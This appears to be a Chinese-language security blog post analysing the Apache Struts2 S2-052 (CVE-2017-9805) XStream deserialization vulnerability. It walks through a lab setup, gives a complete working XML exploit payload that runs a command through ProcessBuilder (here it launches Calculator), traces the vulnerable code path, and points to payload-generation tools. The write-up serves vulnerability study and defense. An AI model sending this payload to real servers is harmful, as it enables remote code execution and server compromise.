Struts2 S2-052与XStream漏洞调试分析

Reading time ~1 minute

0. 概述

2017年9月5日,Apache Struts 2官方发布一个严重级别的安全漏洞公告,该漏洞由国外安全研究组织lgtm.com的安全研究人员发现,漏洞编号为CVE-2017-9805(S2-052),在一定条件下,攻击者可以利用该漏洞远程发送精心构造的恶意数据包,获取业务数据或服务器权限,存在高安全风险。

当Struts2使用REST插件使用XStream的实例xstreamhandler处理反序列化XML有效载荷时没有进行任何过滤,可以导致远程执行代码,攻击者可以利用该漏洞构造恶意的XML内容获取服务器权限。

利用条件:使用REST插件并在受影响版本范围内。 利用方式:攻击者构建恶意数据包远程利用。

影响版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

1. 调试环境搭建

去官网下载完整的漏洞版本源码包并解压: http://mirrors.tuna.tsinghua.edu.cn/apache/struts/2.5.12/struts-2.5.12-all.zip。 在IntelliJ IDEA工作目录新建一个文件夹Struts2-VulnTest,把源码包中src/apps/rest-showcase整个文件夹拷贝到Struts2-VulnTest下。

1.1 设置项目结构

使用IntelliJ IDEA打开Struts2-VulnTest文件夹,然后打开File -> Project Structure 进行必要设置。点击左侧的Project菜单,在ProjectSDK中设置一个JavaSDK。 projects

点击左侧的Modules菜单,点击+号,选择Import Module,把rest-showcase目录添加为一个Maven Module,一直Next就可以了,IDEA会自动识别出其中的Web架构,并识别出各个文件夹的用途,可以在右侧自己手工指定每一个文件夹的用途。

modules

Tips: 1. 在IDEA中,Project下可以有多个Module,相当于Eclipse中Workspace下的多个Project。 2. IDEA需要预先配置好Maven、Tomcat等环境,具体配置方法自行百度。

点击左侧的Facets菜单,此时可以看到中间列表上应该已经有一个Web(struts2-rest-showcase)架构了。如果没有的话点击+号手工添加一下,在添加菜单中选择Web,再选择指定的Module,手工把rest-showcase识别为Web架构。

点击左侧的Artifacts菜单,设置构建选项,基本上按照默认设置就可以了。struts2-rest-showcase:war exploded 输出路径为...Struts2-VulnTest/rest-showcase/target/struts2-rest-showcasestruts2-rest-showcase:war输出路径为...Struts2-VulnTest/rest-showcase/target

artifacts

设置完成后,点击OK。然后在项目文件树中,右击pom.xml,选择Maven -> Reimport 导入类库。

1.2 设置启动选项

接下来配置容器启动选项,选择菜单中的Run -> Edit Configurations,点击+号,选择TomcatServer -> Local。 在右侧将名称设置为Struts2-rest-showcase-TestServer。在Server选项卡中设置Tomcat的一些配置选项,JRE选择1.8。然后在Deployment选项卡中点击+号,指定一个Artifact作为启动容器时的部署源。设置Application context,设置为该应用的访问路径,如无特殊需求,保留默认即可。

Tips:Java SDK 选择1.8,测试1.7.0_71中未复现成功,在1.8.0_102中成功复现了。

tomcat

然后点击菜单,Run -> Run ‘Struts2-rest-showcase-TestServer’,进行项目编译并启动Module struts2-rest-showcase。

不出意外可以看到浏览器成功访问到rest-showcase应用:

demo

1.3 附加源码

点击项目结构树中的External Libraries,选择 Maven: org.apache.struts:struts2-rest-plugin:2.5.12,随便点开一个class,在右侧文件窗口右上角点击Download Sources,自动下载类库对应的源码。

downloadsources

之后就可以在源码中下断点,进行Debug。

2. 调试分析

2.1 漏洞复现

在页面http://localhost:8088/orders/3/edit中点击Submit,拦截HTTP请求并将请求体改为POC Payload,同时将Content-Type Header改为application/xml。

POC Payload为:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next class="string">foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

请求发出后,可以看到命令被成功执行,弹出了计算器: reproduce

2.2 漏洞分析

根据官方公告描述漏洞是出现在XStreamHandler中对xml内容进行反序列化过程出现的漏洞,XStreamHandler类主要有fromObject()/toObject()两个方法。我们在toObject()中下一个断点,可以看到上层调用栈中,ContentTypeInterceptor类会根据请求包的Content-Type选择对应的Handler进行处理。当Content-Type为”application/xml”时,调用XStreamHandler.toObject()

stack

在XStreamHandler.toObject()中,调用XStream.fromXML()对xml内容进行反序列化。实际上这个漏洞是XStream中的反序列化问题。

去年Jenkins三月份修复了一个可通过低权限用户调用API服务致使的命令执行漏洞(CVE-2016-0792)。低权限用户通过构造一个恶意的XML文档并发送至服务端接口,使服务端解析时调用API执行外部命令。

XStream是一个流行的反序列化库,许多主流应用程序,如IRA、Confluence、Bamboo,和Jenkins等中都使用了该库,另外,它还支持多个主流库,如Spring和Struts2等。由于Jenkins将Groovy文件放在类目录中,因此可以借助XML文件来利用该漏洞。有很多应用都使用XStream库,并且将Groovy文件放在类目录中,研究人员可以仿照此方法在很多开源应用中发现同样的漏洞。

所以对于Jenkins(CVE-2016-0792)漏洞来说,漏洞利用过程是

JenkinsAPI -> 接收恶意XML -> XStream库对其进行反序列化 -> 结合groovy.util.Expando类完成反序列漏洞利用

关于XStream反序列化漏洞,详见:https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream?platform=hootsuite

https://github.com/mbechler/marshalsec

POC构造:
用marshalsec(https://github.com/mbechler/marshalsec)生成Payload,工具简单使用方式如下:
java -cpmarshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller  截图和代码较长

Payload生成工具: https://github.com/frohoff/ysoserial ysoserial

Apache Commons Collections <= 3.1 Apache Commons Collections <= 4.0 Groovy <= 2.3.9 Spring Core <= 4.1.4 (?) JDK <=7u21 Apache Commons BeanUtils 1.9.2 + Commons Collections <=3.1 + Commons Logging 1.2 (?) BeanShell 2.0 Groovy 2.3.9 Jython 2.5.2 C3P0 0.9.5.2 Apache Commons Fileupload <= 1.3.1 (File uploading) ROME 1.0 MyFaces JRMPClient/JRMPListener JSON Hibernate

References

  1. https://struts.apache.org/docs/s2-052.html